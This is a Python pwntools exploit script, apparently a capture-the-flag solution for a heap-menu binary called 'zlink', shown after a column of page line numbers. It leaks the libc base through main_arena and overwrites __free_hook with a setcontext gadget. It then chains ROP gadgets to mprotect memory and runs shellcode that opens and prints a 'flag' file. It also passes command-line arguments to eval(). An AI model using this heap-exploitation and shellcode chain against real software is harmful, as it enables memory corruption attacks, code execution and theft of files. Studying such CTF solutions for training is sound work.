1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194
|
import os import sys import subprocess from pwn import *
context.terminal = ["tmux","splitw","-h"] context.arch = "amd64"
context.log_level = "debug"
def RemPro(ip='',port=''): global sh,elf,libc,one_ggs elf_addr = "./zlink" pro_libc = "/lib/x86_64-linux-gnu/libc.so.6" rem_libc = "/mnt/hgfs/DA1SY/Tools/LINUX/Pwn-tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so" if len(sys.argv) > 2 : sh = remote(sys.argv[1],sys.argv[2]) try: libc = ELF(rem_libc) pro_libc = rem_libc except: log.info("No set Remote_libc...") libc = ELF(pro_libc) else: libc = ELF(pro_libc) try: sh = remote(ip,port) libc = ELF(rem_libc) pro_libc = rem_libc except: sh = process(elf_addr) one_ggs = one_gadget(pro_libc) elf = ELF(elf_addr) return 1
def debug(cmd=""): if len(sys.argv) <= 2: log.progress("Loading Debug....") gdb.attach(sh,cmd) def exp(): def add(idx,size,content): sh.sendlineafter(" :","1") sh.sendlineafter("ex:",str(idx)) sh.sendafter("eap : ",str(size)) sh.sendafter("t?:",content) def show(idx): sh.sendlineafter(" :","5") sh.sendlineafter("ex :",str(idx)) def edit(idx,content): sh.sendlineafter(" :","6") sh.sendlineafter("ex:",str(idx)) sh.sendafter("?:",content) def dele(idx): sh.sendlineafter(" :","2") sh.sendlineafter("ex:",str(idx))
sh.sendlineafter(" :","4") add(0, 0x28,p64(0)+p64(0x21)) dele(14) add(1, 0x48,"a"*8) show(1) sh.recvuntil("a"*8) main_arena = u64(sh.recv(6).ljust(8,b"\x00"))-328 success("main_arena => 0x%x",main_arena) libc_base = main_arena-0x10-libc.sym["__malloc_hook"] success("libc_base => 0x%x",libc_base) free_hook = libc_base + libc.sym["__free_hook"] success("__free_hook => 0x%x",free_hook) setcontext = libc_base + libc.sym['setcontext'] success("setcontext => 0x%x",setcontext) add(2, 0x38,"b"*8) add(10, 0x68, p64(main_arena+96-0x18)+p64(main_arena+96-0x10)) edit(15,b"\x00"*0x4f0+p64(0)+p64(0x21)) dele(15)
add(3,0x68,"c"*8) add(4,0x68,"d"*8) dele(3) dele(4) dele(10) add(3,0x68,p64(free_hook-0x18)) add(4,0x68,"eeee") add(5,0x68,"ffff") add(6,0x68,(b"a"*0x8)+p64(setcontext+53)) add(7,0x50,"gggg")
sc_addr = libc_base + 0x3c6000 pop_rdi = libc_base + 0x21112 pop_rsi = libc_base + 0x202f8 pop_rdx = libc_base + 0x01b92 pop_rax = libc_base + 0x3a738 syscall = libc_base + 0xbc3f5 payload = p64(0) payload += p64(0) payload += p64(sc_addr) payload += p64(0) payload += p64(0) payload += p64(0x100) payload += p64(0) payload += p64(0) payload += p64(sc_addr) payload += p64(syscall) add(8,0x70,payload)
dele(7)
payload2 = [ pop_rdi , sc_addr , pop_rsi , 0x2000 , pop_rdx , 7 , pop_rax , 10 , syscall , libc_base + 0x2a71 ] shellcode = asm(''' sub rsp, 0x800 push 0x67616c66 mov rdi, rsp xor esi, esi mov eax, 2 syscall mov edi, eax mov rsi, rsp mov edx, 0x30 xor eax, eax syscall mov edx, eax mov rsi, rsp mov edi, 1 mov eax, edi syscall ''') sh.send(flat(payload2)+shellcode)
return sh
if __name__=="__main__": RemPro() if len(sys.argv) > 3 : eval(sys.argv[3])() elif (len(sys.argv)>1 and len(sys.argv)<3): eval(sys.argv[1])() else: exp() sh.interactive()
|